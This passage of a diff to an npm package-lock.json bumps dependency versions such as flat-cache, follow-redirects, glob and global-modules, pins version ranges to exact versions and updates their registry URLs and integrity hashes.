+ "dependencies": {
+ "kind-of": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+ "dev": true,
+ "requires": {
+ "is-buffer": "1.1.5"
+ }
+ }
+ }
+ },
+ "isobject": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+ "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
+ "dev": true
+ },
+ "kind-of": {
+ "version": "6.0.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz",
+ "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==",
+ "dev": true
+ },
+ "micromatch": {
+ "version": "3.1.10",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
+ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
+ "dev": true,
+ "requires": {
+ "arr-diff": "4.0.0",
+ "array-unique": "0.3.2",
+ "braces": "2.3.2",
+ "define-property": "2.0.2",
+ "extend-shallow": "3.0.2",
+ "extglob": "2.0.4",
+ "fragment-cache": "0.2.1",
+ "kind-of": "6.0.2",
+ "nanomatch": "1.2.13",
+ "object.pick": "1.3.0",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
+ }
+ }
}
},
"flat-cache": {
- "version": "1.3.0",
- "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-1.3.0.tgz",
- "integrity": "sha1-0wMLMrOBVPTjt+nHCfSQ9++XxIE=",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-2.0.1.tgz",
+ "integrity": "sha512-LoQe6yDuUMDzQAEH8sgmh4Md6oZnc/7PjtwjNFSzveXqSHt6ka9fPBuso7IGf9Rz4uqnSnWiFH2B/zj24a5ReA==",
"dev": true,
"requires": {
- "circular-json": "^0.3.1",
- "del": "^2.0.2",
- "graceful-fs": "^4.1.2",
- "write": "^0.2.1"
+ "flatted": "2.0.1",
+ "rimraf": "2.6.3",
+ "write": "1.0.3"
+ },
+ "dependencies": {
+ "rimraf": {
+ "version": "2.6.3",
+ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz",
+ "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==",
+ "dev": true,
+ "requires": {
+ "glob": "7.1.4"
+ }
+ }
}
},
+ "flatted": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/flatted/-/flatted-2.0.1.tgz",
+ "integrity": "sha512-a1hQMktqW9Nmqr5aktAux3JMNqaucxGcjtjWnZLHX7yyPCmlSV3M54nGYbqT8K+0GhF3NBgmJCc3ma+WOgX8Jg==",
+ "dev": true
+ },
"flush-write-stream": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.0.3.tgz",
- "integrity": "sha512-calZMC10u0FMUqoiunI2AiGIIUtUIvifNwkHhNupZH4cbNnW1Itkoh/Nf5HFYmDrwWPjrUxpkZT0KhuCq0jmGw==",
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.1.1.tgz",
+ "integrity": "sha512-3Z4XhFZ3992uIq0XOqb9AreonueSYphE6oYbpt5+3u06JWklbsPkNv3ZKkP9Bz/r+1MWCaMoSQ28P85+1Yc77w==",
"dev": true,
"requires": {
- "inherits": "^2.0.1",
- "readable-stream": "^2.0.4"
+ "inherits": "2.0.3",
+ "readable-stream": "2.3.6"
},
"dependencies": {
"isarray": {
@@ -5578,9 +6069,9 @@
"dev": true
},
"process-nextick-args": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
- "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+ "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
"dev": true
},
"readable-stream": {
@@ -5589,13 +6080,13 @@
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.1",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
}
},
"string_decoder": {
@@ -5604,28 +6095,34 @@
"integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
"dev": true,
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.1.1"
}
}
}
},
"follow-redirects": {
- "version": "1.5.5",
- "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.5.5.tgz",
- "integrity": "sha512-GHjtHDlY/ehslqv0Gr5N0PUJppgg/q0rOBvX0na1s7y1A3LWxPqCYU76s3Z1bM4+UZB4QF0usaXLT5wFpof5PA==",
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.9.0.tgz",
+ "integrity": "sha512-CRcPzsSIbXyVDl0QI01muNDu69S8trU4jArW9LpOt2WtC6LyUJetcIrmfHsRBx7/Jb6GHJUiuqyYxPooFfNt6A==",
"dev": true,
"requires": {
- "debug": "^3.1.0"
+ "debug": "3.2.6"
},
"dependencies": {
"debug": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
- "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==",
+ "version": "3.2.6",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
+ "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
"dev": true,
"requires": {
- "ms": "2.0.0"
+ "ms": "2.1.2"
}
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
}
}
},
@@ -5637,7 +6134,8 @@
"for-in": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz",
- "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA="
+ "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=",
+ "dev": true
},
"for-own": {
"version": "0.1.5",
@@ -5646,7 +6144,7 @@
"dev": true,
"optional": true,
"requires": {
- "for-in": "^1.0.1"
+ "for-in": "1.0.2"
}
},
"forever-agent": {
@@ -5659,9 +6157,9 @@
"resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.2.tgz",
"integrity": "sha1-SXBJi+YEwgwAXU9cI67NIda0kJk=",
"requires": {
- "asynckit": "^0.4.0",
+ "asynckit": "0.4.0",
"combined-stream": "1.0.6",
- "mime-types": "^2.1.12"
+ "mime-types": "2.1.16"
}
},
"forwarded": {
@@ -5676,7 +6174,7 @@
"integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=",
"dev": true,
"requires": {
- "map-cache": "^0.2.2"
+ "map-cache": "0.2.2"
}
},
"fresh": {
@@ -5691,8 +6189,8 @@
"integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=",
"dev": true,
"requires": {
- "inherits": "^2.0.1",
- "readable-stream": "^2.0.0"
+ "inherits": "2.0.3",
+ "readable-stream": "2.3.6"
},
"dependencies": {
"isarray": {
@@ -5702,9 +6200,9 @@
"dev": true
},
"process-nextick-args": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
- "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+ "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
"dev": true
},
"readable-stream": {
@@ -5713,13 +6211,13 @@
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.1",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
}
},
"string_decoder": {
@@ -5728,7 +6226,7 @@
"integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
"dev": true,
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.1.1"
}
}
}
@@ -5739,9 +6237,9 @@
"integrity": "sha1-zTzl9+fLYUWIP8rjGR6Yd/hYeVA=",
"dev": true,
"requires": {
- "graceful-fs": "^4.1.2",
- "jsonfile": "^2.1.0",
- "klaw": "^1.0.0"
+ "graceful-fs": "4.1.11",
+ "jsonfile": "2.4.0",
+ "klaw": "1.3.1"
}
},
"fs-readdir-recursive": {
@@ -5756,10 +6254,10 @@
"integrity": "sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=",
"dev": true,
"requires": {
- "graceful-fs": "^4.1.2",
- "iferr": "^0.1.5",
- "imurmurhash": "^0.1.4",
- "readable-stream": "1 || 2"
+ "graceful-fs": "4.1.11",
+ "iferr": "0.1.5",
+ "imurmurhash": "0.1.4",
+ "readable-stream": "1.0.34"
}
},
"fs.realpath": {
@@ -5774,8 +6272,8 @@
"dev": true,
"optional": true,
"requires": {
- "nan": "^2.3.0",
- "node-pre-gyp": "^0.6.36"
+ "nan": "2.6.2",
+ "node-pre-gyp": "0.6.36"
},
"dependencies": {
"abbrev": {
@@ -5872,7 +6370,7 @@
"bundled": true,
"dev": true,
"requires": {
- "hoek": "2.x.x"
+ "hoek": "2.16.3"
}
},
"brace-expansion": {
@@ -5880,7 +6378,7 @@
"bundled": true,
"dev": true,
"requires": {
- "balanced-match": "^0.4.1",
+ "balanced-match": "0.4.2",
"concat-map": "0.0.1"
}
},
@@ -5911,7 +6409,7 @@
"bundled": true,
"dev": true,
"requires": {
- "delayed-stream": "~1.0.0"
+ "delayed-stream": "1.0.0"
}
},
"concat-map": {
@@ -5935,7 +6433,7 @@
"dev": true,
"optional": true,
"requires": {
- "boom": "2.x.x"
+ "boom": "2.10.1"
}
},
"dashdash": {
@@ -5944,7 +6442,7 @@
"dev": true,
"optional": true,
"requires": {
- "assert-plus": "^1.0.0"
+ "assert-plus": "1.0.0"
},
"dependencies": {
"assert-plus": {
@@ -6067,7 +6565,7 @@
"dev": true,
"optional": true,
"requires": {
- "assert-plus": "^1.0.0"
+ "assert-plus": "1.0.0"
},
"dependencies": {
"assert-plus": {
@@ -6671,10 +7169,10 @@
"resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.12.tgz",
"integrity": "sha512-WvJ193OHa0GHPEL+AycEJgxvBEwyfRkN1vhjca23OaPVMCaLCXTd5qAu82AjTcgP1UJmytkOKb63Ypde7raDIg==",
"requires": {
- "graceful-fs": "^4.1.2",
- "inherits": "~2.0.0",
- "mkdirp": ">=0.5 0",
- "rimraf": "2"
+ "graceful-fs": "4.1.11",
+ "inherits": "2.0.3",
+ "mkdirp": "0.5.1",
+ "rimraf": "2.7.1"
}
},
"function-bind": {
@@ -6694,14 +7192,14 @@
"resolved": "https://registry.npmjs.org/gauge/-/gauge-2.7.4.tgz",
"integrity": "sha1-LANAXHU4w51+s3sxcCLjJfsBi/c=",
"requires": {
- "aproba": "^1.0.3",
- "console-control-strings": "^1.0.0",
- "has-unicode": "^2.0.0",
- "object-assign": "^4.1.0",
- "signal-exit": "^3.0.0",
- "string-width": "^1.0.1",
- "strip-ansi": "^3.0.1",
- "wide-align": "^1.1.0"
+ "aproba": "1.2.0",
+ "console-control-strings": "1.1.0",
+ "has-unicode": "2.0.1",
+ "object-assign": "4.1.1",
+ "signal-exit": "3.0.2",
+ "string-width": "1.0.2",
+ "strip-ansi": "3.0.1",
+ "wide-align": "1.1.3"
},
"dependencies": {
"is-fullwidth-code-point": {
@@ -6709,7 +7207,7 @@
"resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz",
"integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=",
"requires": {
- "number-is-nan": "^1.0.0"
+ "number-is-nan": "1.0.1"
}
},
"string-width": {
@@ -6717,9 +7215,9 @@
"resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz",
"integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=",
"requires": {
- "code-point-at": "^1.0.0",
- "is-fullwidth-code-point": "^1.0.0",
- "strip-ansi": "^3.0.0"
+ "code-point-at": "1.1.0",
+ "is-fullwidth-code-point": "1.0.0",
+ "strip-ansi": "3.0.1"
}
}
}
@@ -6729,7 +7227,7 @@
"resolved": "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz",
"integrity": "sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==",
"requires": {
- "globule": "^1.0.0"
+ "globule": "1.2.1"
}
},
"get-caller-file": {
@@ -6749,10 +7247,13 @@
"integrity": "sha1-uWjGsKBDhDJJAui/Gl3zJXmkUP4="
},
"get-stream": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz",
- "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=",
- "dev": true
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz",
+ "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==",
+ "dev": true,
+ "requires": {
+ "pump": "3.0.0"
+ }
},
"get-value": {
"version": "2.0.6",
@@ -6765,20 +7266,20 @@
"resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz",
"integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=",
"requires": {
- "assert-plus": "^1.0.0"
+ "assert-plus": "1.0.0"
}
},
"glob": {
- "version": "7.1.3",
- "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.3.tgz",
- "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==",
+ "version": "7.1.4",
+ "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.4.tgz",
+ "integrity": "sha512-hkLPepehmnKk41pUGm3sYxoFs/umurYfYJCerbXEyFIWcAzvpipAgVkBqqT9RBKMGjnq6kMuyYwha6csxbiM1A==",
"requires": {
- "fs.realpath": "^1.0.0",
- "inflight": "^1.0.4",
- "inherits": "2",
- "minimatch": "^3.0.4",
- "once": "^1.3.0",
- "path-is-absolute": "^1.0.0"
+ "fs.realpath": "1.0.0",
+ "inflight": "1.0.6",
+ "inherits": "2.0.3",
+ "minimatch": "3.0.4",
+ "once": "1.4.0",
+ "path-is-absolute": "1.0.1"
}
},
"glob-base": {
@@ -6788,8 +7289,8 @@
"dev": true,
"optional": true,
"requires": {
- "glob-parent": "^2.0.0",
- "is-glob": "^2.0.0"
+ "glob-parent": "2.0.0",
+ "is-glob": "2.0.1"
}
},
"glob-parent": {
@@ -6798,24 +7299,68 @@
"integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=",
"dev": true,
"requires": {
- "is-glob": "^2.0.0"
+ "is-glob": "2.0.1"
}
},
"global": {
- "version": "4.3.2",
- "resolved": "https://registry.npmjs.org/global/-/global-4.3.2.tgz",
- "integrity": "sha1-52mJJopsdMOJCLEwWxD8DjlOnQ8=",
+ "version": "4.4.0",
+ "resolved": "https://registry.npmjs.org/global/-/global-4.4.0.tgz",
+ "integrity": "sha512-wv/LAoHdRE3BeTGz53FAamhGlPLhlssK45usmGFThIi4XqnBmjKQ16u+RNbP7WvigRZDxUsM0J3gcQ5yicaL0w==",
"dev": true,
"requires": {
- "min-document": "^2.19.0",
- "process": "~0.5.1"
+ "min-document": "2.19.0",
+ "process": "0.11.10"
}
},
- "global-modules-path": {
- "version": "2.3.0",
- "resolved": "https://registry.npmjs.org/global-modules-path/-/global-modules-path-2.3.0.tgz",
- "integrity": "sha512-HchvMJNYh9dGSCy8pOQ2O8u/hoXaL+0XhnrwH0RyLiSXMMTl9W3N6KUU73+JFOg5PGjtzl6VZzUQsnrpm7Szag==",
- "dev": true
+ "global-modules": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-2.0.0.tgz",
+ "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==",
+ "dev": true,
+ "requires": {
+ "global-prefix": "3.0.0"
+ },
+ "dependencies": {
+ "global-prefix": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-3.0.0.tgz",
+ "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==",
+ "dev": true,
+ "requires": {
+ "ini": "1.3.5",
+ "kind-of": "6.0.2",
+ "which": "1.3.1"
+ }
+ },
+ "kind-of": {
+ "version": "6.0.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz",
+ "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==",
+ "dev": true
+ },
+ "which": {
+ "version": "1.3.1",
+ "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
+ "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
+ "dev": true,
+ "requires": {
+ "isexe": "2.0.0"
+ }
+ }
+ }
+ },
+ "global-prefix": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-1.0.2.tgz",
+ "integrity": "sha1-2/dDxsFJklk8ZVVoy2btMsASLr4=",
+ "dev": true,
+ "requires": {
+ "expand-tilde": "2.0.2",
+ "homedir-polyfill": "1.0.3",
+ "ini": "1.3.5",
+ "is-windows": "1.0.2",
+ "which": "1.3.0"
+ }
},
"globals": {
"version": "9.18.0",
@@ -6824,17 +7369,16 @@
"dev": true
},
"globby": {
- "version": "5.0.0",
- "resolved": "https://registry.npmjs.org/globby/-/globby-5.0.0.tgz",
- "integrity": "sha1-69hGZ8oNuzMLmbz8aOrCvFQ3Dg0=",
+ "version": "6.1.0",
+ "resolved": "https://registry.npmjs.org/globby/-/globby-6.1.0.tgz",
+ "integrity": "sha1-9abXDoOV4hyFj7BInWTfAkJNUGw=",
"dev": true,
"requires": {
- "array-union": "^1.0.1",
- "arrify": "^1.0.0",
- "glob": "^7.0.3",
- "object-assign": "^4.0.1",
- "pify": "^2.0.0",
- "pinkie-promise": "^2.0.0"
+ "array-union": "1.0.2",
+ "glob": "7.1.4",
+ "object-assign": "4.1.1",
+ "pify": "2.3.0",
+ "pinkie-promise": "2.0.1"
}
},
"globule": {
@@ -6842,9 +7386,9 @@
"resolved": "https://registry.npmjs.org/globule/-/globule-1.2.1.tgz",
"integrity": "sha512-g7QtgWF4uYSL5/dn71WxubOrS7JVGCnFPEnoeChJmBnyR9Mw8nGoEwOgJL/RC2Te0WhbsEUCejfH8SZNJ+adYQ==",
"requires": {
- "glob": "~7.1.1",
- "lodash": "~4.17.10",
- "minimatch": "~3.0.2"
+ "glob": "7.1.4",
+ "lodash": "4.17.10",
+ "minimatch": "3.0.4"
}
},
"graceful-fs": {
@@ -6864,9 +7408,9 @@
"integrity": "sha1-BO93hiz/K7edMPdpIJWTAiK/YPE="
},
"handle-thing": {
- "version": "1.2.5",
- "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-1.2.5.tgz",
- "integrity": "sha1-/Xqtcmvxpf0W38KbL3pmAdJxOcQ=",
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.0.tgz",
+ "integrity": "sha512-d4sze1JNC454Wdo2fkuyzCr6aHcbL6PGGuFAz0Li/NcOm1tCHGnWDRmJP85dh9IhQErTc2svWFEX5xHIOo//kQ==",
"dev": true
},
"handlebars": {
@@ -6875,10 +7419,10 @@
"integrity": "sha1-Ywo13+ApS8KB7a5v/F0yn8eYLcw=",
"dev": true,
"requires": {
- "async": "^1.4.0",
- "optimist": "^0.6.1",
- "source-map": "^0.4.4",
- "uglify-js": "^2.6"
+ "async": "1.5.2",
+ "optimist": "0.6.1",
+ "source-map": "0.4.4",
+ "uglify-js": "2.8.29"
},
"dependencies": {
"source-map": {
@@ -6887,7 +7431,7 @@
"integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=",
"dev": true,
"requires": {
- "amdefine": ">=0.0.4"
+ "amdefine": "1.0.1"
}
}
}
@@ -6903,8 +7447,8 @@
"integrity": "sha1-ukAsJmGU8VlW7xXg/PJCmT9qff0=",
"dev": true,
"requires": {
- "ajv": "^5.1.0",
- "har-schema": "^2.0.0"
+ "ajv": "5.5.2",
+ "har-schema": "2.0.0"
},
"dependencies": {
"ajv": {
@@ -6913,10 +7457,10 @@
"integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=",
"dev": true,
"requires": {
- "co": "^4.6.0",
- "fast-deep-equal": "^1.0.0",
- "fast-json-stable-stringify": "^2.0.0",
- "json-schema-traverse": "^0.3.0"
+ "co": "4.6.0",
+ "fast-deep-equal": "1.1.0",
+ "fast-json-stable-stringify": "2.0.0",
+ "json-schema-traverse": "0.3.1"
}
}
}
@@ -6927,7 +7471,7 @@
"integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==",
"dev": true,
"requires": {
- "function-bind": "^1.1.1"
+ "function-bind": "1.1.1"
}
},
"has-ansi": {
@@ -6935,7 +7479,7 @@
"resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz",
"integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=",
"requires": {
- "ansi-regex": "^2.0.0"
+ "ansi-regex": "2.1.1"
}
},
"has-binary2": {
@@ -6984,9 +7528,9 @@
"integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=",
"dev": true,
"requires": {
- "get-value": "^2.0.6",
- "has-values": "^1.0.0",
- "isobject": "^3.0.0"
+ "get-value": "2.0.6",
+ "has-values": "1.0.0",
+ "isobject": "3.0.1"
},
"dependencies": {
"isobject": {
@@ -7003,8 +7547,8 @@
"integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=",
"dev": true,
"requires": {
- "is-number": "^3.0.0",
- "kind-of": "^4.0.0"
+ "is-number": "3.0.0",
+ "kind-of": "4.0.0"
},
"dependencies": {
"is-number": {
@@ -7013,7 +7557,7 @@
"integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
},
"dependencies": {
"kind-of": {
@@ -7022,7 +7566,7 @@
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"dev": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
@@ -7033,7 +7577,7 @@
"integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=",
"dev": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
@@ -7044,18 +7588,18 @@
"integrity": "sha1-X8hoaEfs1zSZQDMZprCj8/auSRg=",
"dev": true,
"requires": {
- "inherits": "^2.0.1",
- "safe-buffer": "^5.0.1"
+ "inherits": "2.0.3",
+ "safe-buffer": "5.1.1"
}
},
"hash.js": {
- "version": "1.1.5",
- "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.5.tgz",
- "integrity": "sha512-eWI5HG9Np+eHV1KQhisXWwM+4EPPYe5dFX1UZZH7k/E3JzDEazVH+VGlZi6R94ZqImq+A3D1mCEtrFIfg/E7sA==",
+ "version": "1.1.7",
+ "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.7.tgz",
+ "integrity": "sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==",
"dev": true,
"requires": {
- "inherits": "^2.0.3",
- "minimalistic-assert": "^1.0.1"
+ "inherits": "2.0.3",
+ "minimalistic-assert": "1.0.1"
}
},
"hasha": {
@@ -7064,8 +7608,8 @@
"integrity": "sha1-eNfL/B5tZjA/55g3NlmEUXsvbuE=",
"dev": true,
"requires": {
- "is-stream": "^1.0.1",
- "pinkie-promise": "^2.0.0"
+ "is-stream": "1.1.0",
+ "pinkie-promise": "2.0.1"
}
},
"hawk": {
@@ -7074,10 +7618,10 @@
"integrity": "sha512-miowhl2+U7Qle4vdLqDdPt9m09K6yZhkLDTWGoUiUzrQCn+mHHSmfJgAyGaLRZbPmTqfFFjRV1QWCW0VWUJBbQ==",
"dev": true,
"requires": {
- "boom": "4.x.x",
- "cryptiles": "3.x.x",
- "hoek": "4.x.x",
- "sntp": "2.x.x"
+ "boom": "4.3.1",
+ "cryptiles": "3.1.2",
+ "hoek": "4.2.1",
+ "sntp": "2.1.0"
}
},
"he": {
@@ -7089,13 +7633,13 @@
"history": {
"version": "4.7.2",
"resolved": "https://registry.npmjs.org/history/-/history-4.7.2.tgz",
- "integrity": "sha1-IrXH8xYzxbgCHH9KipVKwTnujVs=",
+ "integrity": "sha512-1zkBRWW6XweO0NBcjiphtVJVsIQ+SXF29z9DVkceeaSLVMFXHool+fdCZD4spDCfZJCILPILc3bm7Bc+HRi0nA==",
"requires": {
- "invariant": "^2.2.1",
- "loose-envify": "^1.2.0",
- "resolve-pathname": "^2.2.0",
- "value-equal": "^0.4.0",
- "warning": "^3.0.0"
+ "invariant": "2.2.2",
+ "loose-envify": "1.3.1",
+ "resolve-pathname": "2.2.0",
+ "value-equal": "0.4.0",
+ "warning": "3.0.0"
}
},
"hmac-drbg": {
@@ -7104,9 +7648,9 @@
"integrity": "sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=",
"dev": true,
"requires": {
- "hash.js": "^1.0.3",
- "minimalistic-assert": "^1.0.0",
- "minimalistic-crypto-utils": "^1.0.1"
+ "hash.js": "1.1.7",
+ "minimalistic-assert": "1.0.1",
+ "minimalistic-crypto-utils": "1.0.1"
}
},
"hoek": {
@@ -7126,8 +7670,17 @@
"integrity": "sha1-42w/LSyufXRqhX440Y1fMqeILbg=",
"dev": true,
"requires": {
- "os-homedir": "^1.0.0",
- "os-tmpdir": "^1.0.1"
+ "os-homedir": "1.0.2",
+ "os-tmpdir": "1.0.2"
+ }
+ },
+ "homedir-polyfill": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz",
